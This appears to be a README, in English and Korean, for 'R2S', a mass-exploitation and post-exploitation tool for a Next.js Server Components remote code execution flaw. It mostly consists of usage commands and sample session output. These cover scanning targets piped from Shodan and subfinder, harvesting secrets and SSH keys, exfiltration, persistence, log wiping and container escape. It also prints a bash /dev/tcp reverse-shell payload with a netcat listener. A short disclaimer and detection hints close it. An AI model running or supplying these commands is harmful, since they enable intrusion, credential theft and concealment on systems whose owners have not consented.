
R2S is a comprehensive exploitation and post-exploitation framework targeting the Next.js React Server Components vulnerability (CVE-2025-55182). It provides an interactive shell with advanced features for penetration testing, including file transfer, persistence, enumeration, privilege escalation checks, and more.
R2S는 Next.js React Server Components 취약점(CVE-2025-55182)을 대상으로 하는 종합 익스플로잇 및 포스트-익스플로잇 프레임워크입니다. 파일 전송, 지속성, 정보 수집, 권한 상승 점검 등을 포함한 고급 기능을 갖춘 대화형 셸을 제공하며 침투 테스트에 사용됩니다.
.env 파일 및 설정 파일# Python 3.6 이상
python3 --version
# 의존성 설치
pip3 install requests urllib3
# 저장소 클론 또는 다운로드
cd r2s-main
# 실행 권한 부여 (선택 사항)
chmod +x r2s_enhanced.py
# 도구 실행
python3 r2s_enhanced.py -h
python3 r2s_enhanced.py [옵션]
python3 r2s_enhanced.py -u http://target.com
python3 r2s_enhanced.py -l targets.txt -t 50
cat targets.txt | python3 r2s_enhanced.py
shodan search "Next.js" | python3 r2s_enhanced.py
subfinder -d example.com | httpx | python3 r2s_enhanced.py
RCE 접근 권한을 획득하면 다음 명령어를 사용할 수 있는 대화형 셸로 진입합니다.
upload <local_file> <remote_path> # 대상에 파일 업로드
download <remote_file> <local_path> # 대상에서 파일 다운로드
cd <directory> # 작업 디렉터리 변경
pwd # 작업 디렉터리 출력
enum # 완전한 시스템 정보 수집
privesc # 권한 상승 점검
harvest # 자격 증명 수집
portscan <ip> # 내부 네트워크 포트 스캔
memdump [pid] # 프로세스 메모리 덤프로 시크릿 추출
lateral # 측면 이동 기회
escape # 컨테이너 탈출 벡터
exfil [type] # 데이터 유출 (env/config/keys/db/logs/all)
reverse <lhost> <lport> # 여러 리버스 셸 페이로드 시도
persist # 기본 지속성 추가
advpersist # 고급 지속성 추가
stealth # 로그 삭제 및 흔적 제거
save # 현재 세션 저장
help, ? # 도움말 표시
exit, quit # 대화형 셸 종료
모든 셸 명령어를 직접 실행 가능:
whoami
id
uname -a
ps aux
netstat -tulpn
cat /etc/passwd
$ python3 r2s_enhanced.py -u http://vulnerable-app.com
_ __ __ ____
/ | / /__ _ __/ /_/ __ \________
/ |/ / _ \| |/_/ __/ /_/ / ___/ _ \
/ /| / __/> </_ _/ _, _/ /__/ __/
/_/ |_/\___/_/|_|\__/_/ |_|\___/\___/
Next.js RSC Exploit Tool (CVE-2025-55182)
Mass Scanner & Pipeline Edition (v4.1.0 - Enhanced)
>> CREDIT( G4rxd )
[*] Loaded 1 targets. Starting scan with 30 threads...
[*] Payload Command: id
[VULN] http://vulnerable-app.com >>> RCE SUCCESS
Output: uid=1000(node) gid=1000(node) groups=1000(node)
[+] Stateful Interactive RCE shell started. Type 'help' for commands.
[*] Advanced features: enum, privesc, persist, portscan, harvest, stealth
[*] New features: memdump, lateral, escape, exfil, advpersist, reverse
[+] HTTP server started on 192.168.1.100:8000
next-rce:/app$
next-rce:/app$ enum
[*] Starting automated enumeration...
============================================================
[*] System Info
============================================================
Linux 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
NAME="Ubuntu"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
============================================================
[*] Current User
============================================================
node
uid=1000(node) gid=1000(node) groups=1000(node),27(sudo)
============================================================
[*] Container Detection
============================================================
12:devices:/docker/a1b2c3d4e5f6
11:cpuset:/docker/a1b2c3d4e5f6
[Docker container detected]
...
# 파일 업로드
next-rce:/app$ upload /tmp/exploit.sh /var/tmp/exploit.sh
[*] Uploading /tmp/exploit.sh (2048 bytes) via HTTP...
[+] Upload successful!
-rwxr-xr-x 1 node node 2048 Dec 12 03:28 /var/tmp/exploit.sh
# 파일 다운로드
next-rce:/app$ download /etc/passwd ./passwd.txt
[*] Downloading /etc/passwd via HTTP...
[+] Download successful! (1523 bytes)
Saved to: ./passwd.txt
next-rce:/app$ harvest
[*] Harvesting credentials...
[*] Environment Variables:
DATABASE_PASSWORD=super_secret_pass
API_KEY=sk-1234567890abcdef
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
[*] .env Files:
/app/.env
/app/.env.production
/var/www/.env.local
[*] SSH Keys:
/home/node/.ssh/id_rsa
/root/.ssh/id_rsa
...
next-rce:/app$ reverse 192.168.1.100 4444
[*] Starting reverse shell attempts to 192.168.1.100:4444
[!] Make sure you have a listener running: nc -lvnp 4444
[*] Trying 25 different reverse shell payloads...
[1/25] Trying Bash TCP... ✓ Executed
[?] Did you receive a connection? (y/n/s to stop): y
[+] SUCCESS! Reverse shell established using: Bash TCP
[*] Payload: bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
$ cat targets.txt
http://app1.example.com
http://app2.example.com
http://app3.example.com
$ python3 r2s_enhanced.py -l targets.txt -t 50
[*] Loaded 3 targets. Starting scan with 50 threads...
[VULN] http://app1.example.com >>> RCE SUCCESS
[VULN] http://app3.example.com >>> RCE SUCCESS
[*] Scan completed.
next-rce:/app$ privesc
[*] Checking privilege escalation vectors...
[*] SUID Binaries:
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
[*] Sudo Permissions:
User node may run the following commands:
(ALL : ALL) NOPASSWD: /usr/bin/docker
[*] Docker Socket:
srw-rw---- 1 root docker 0 Dec 12 03:28 /var/run/docker.sock
[*] Docker Group:
In docker group - EXPLOITABLE!
...
next-rce:/app$ escape
[*] Checking container escape vectors...
[*] Container Type:
12:devices:/docker/a1b2c3d4e5f6
[*] Privileged Container:
PRIVILEGED
[*] Docker Socket:
srw-rw---- 1 root docker 0 Dec 12 03:28 /var/run/docker.sock
[*] Capabilities:
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
[Full capabilities - container is privileged]
...
이 도구는 여러 언어와 기술에 걸쳐 25개 이상의 리버스 셸 페이로드를 포함합니다.
다음에서 자격 증명을 자동 감지 및 추출합니다.
다음을 식별하고 분석합니다.
교육 및 승인된 테스트용으로만 사용하세요
이 도구는 교육 목적 및 승인된 침투 테스트용으로 제공됩니다. 사전 상호 동의 없이 대상을 공격하는 데 이 도구를 사용하는 것은 불법입니다. 저자는 이 도구의 오용이나 손해에 대해 책임을 지지 않습니다.
법적 사용 요구 사항:
탐지:
Next-Action 헤더 모니터링child_process.execSync 모니터링완화 조치:
기여를 환영합니다! 모든 기여는 교육 및 방어 보안 목적에 부합해야 합니다.
G4rxd
이 프로젝트는 교육 및 승인된 테스트 목적으로만 라이선스가 부여됩니다.
⚡ 즐거운 윤리적 해킹 되세요! ⚡
기억하세요: 큰 힘에는 큰 책임이 따릅니다.
| 옵션 | 설명 | 기본값 |
|---|
-u, --url | 단일 대상 URL | - |
-l, --list | URL 목록이 포함된 파일 | - |
-c, --cmd | 초기 실행 명령어 | id |
-t, --threads | 스캔 스레드 수 | 30 |
-p, --proxy | HTTP 프록시 (예: http://127.0.0.1:8080) | - |
-v, --verbose | 상세 출력 활성화 | False |
--http-port | 파일 전송용 HTTP 서버 포트 | 8000 |